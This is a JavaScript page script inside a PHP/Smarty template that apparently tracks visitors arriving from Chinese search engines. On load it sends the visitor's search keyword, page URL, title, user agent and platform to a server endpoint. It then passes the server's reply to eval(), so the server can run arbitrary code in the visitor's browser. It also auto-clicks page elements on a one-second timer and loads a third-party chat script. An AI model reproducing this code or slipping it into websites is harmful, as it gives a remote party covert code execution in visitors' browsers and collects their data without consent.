
if (!window.shbly_func) {
window.shbly_func = {
    parseURL: function (url) {
        var a = document.createElement('a');
        a.href = url;
        return {
            source: url,
            protocol: a.protocol.replace(':', ''),
            host: a.hostname,
            port: a.port,
            query: a.search,
            params: (function () {
                var ret = {},
                    seg = a.search.replace(/^\?/, '').split('&'),
                    len = seg.length, i = 0, s;
                for (; i < len; i++) {
                    if (!seg[i]) { continue; }
                    s = seg[i].split('=');
                    ret[s[0]] = s[1];
                }
                return ret;
            })(),
            file: (a.pathname.match(/\/([^\/?#]+)$/i) || [, ''])[1],
            hash: a.hash.replace('#', ''),
            path: a.pathname.replace(/^([^\/])/, '/$1'),
            relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [, ''])[1],
            segments: a.pathname.replace(/^\//, '').split('/')
        };
    },

    post: function (url, data, fn, is_as) {
        var obj = new XMLHttpRequest();
        obj.open("POST", url, is_as);
        //obj.withCredentials = true;
        obj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

        obj.onreadystatechange = function () {
            if (obj.readyState == 4 && (obj.status == 200 || obj.status == 304)) {
                fn.call(this, obj.responseText);
            }
        };
        obj.send(data);
    }
}
    var $data = { "sn": "<{$sn}>" }, $refer = document.referrer, $shb_showsec = '0';
    if (!$refer) {
        try {
            if (window.opener) {
                $refer = window.opener.location.href;
            }
        }
        catch (e) { }
    }
    var $url = shbly_func.parseURL($refer);

    //PC百度   YD百度  (PC360,YD360,PC神马,YD神马)  PC搜狗  YD搜狗
    //$url.params.q|| 这个和百度优选冲突了
    $data["wd"] = $url.params.wd || $url.params.word || $url.params.query || $url.params.query || $url.params.keyword || $url.params.word1 || $url.params.title || '';
    $data["title"] = document.title;
    $data["href"] = window.location.href;
    $data["user_agent"] = navigator.userAgent;
    $data["referrer"] = document.referrer;
    $data["source"] = $url.host;
    $data["deal_name"] = 'in_web_head';
    var shb_isclick = '1';
    var shb_fn1 = function () {
         if (shb_isclick == '1') { 
             if (document.getElementById('ly_search_wd_div')) { 
                 $(".click_func").click(); 
                } 
            } 
            setTimeout(shb_fn1, 1000) 
        };

    <{php}>
    if($is_jump){
        echo "shb_fn1();";
    }

    if($jj_switch){
        echo '   
        if(!$data["referrer"]){
            return ;
        }
       ';
    }
    <{/php}>

    $data["platform"] = navigator.platform;
    $wd_temp = $data["wd"];

    try {
        if (/.sm.cn$/i.test($url.host)) {
            $data["wd"] = $url.params.q || '';
            $wd_temp = $data["wd"];
        }
        if (/.smapi.cn$/i.test($url.host)) {
            $data["wd"] = $url.params.q || '';
            $wd_temp = $data["wd"];
        }
        if (/.so.com$/i.test($url.host)) {
            $data["wd"] = $url.params.q || '';
            $wd_temp = $data["wd"];
        }
    } catch (err) {

    }
    if ($data["wd"].length <= 0) $data["wd"] = $data["title"];
    $data["wd"] = decodeURIComponent($data["wd"]);
    if ($data["wd"].indexOf('%') >= 0) $data["wd"] = decodeURIComponent($data["wd"]);
    $lurel = document.referrer.toLowerCase();
    $enwd = encodeURIComponent($data["wd"]);
    if ($data["wd"].length > 0) {
        document.write('<script src="//<{$pre}>.zoosnet.net/JS/LsJS.aspx?siteid=<{$swt_id}>&float=0&lng=cn"><\/script>');
    }
    

    //发送数据
    if ($shb_showsec.length > 0) {
        $shb_showsec = parseInt($shb_showsec);
    } else $shb_showsec = 0;
    if ($shb_showsec > 0) {
        setTimeout("ly_get_eval($data)", $shb_showsec);
    }else {
        ly_get_eval($data);
    }
}
function ly_get_eval($d) {
    shbly_func.post("__HOST__/api/zly",JSON.stringify($d), function ($rs) {
        $rs = JSON.parse($rs);
        if ($rs['code'] == '0') {
            eval($rs['do'])
        }
    }, true);
}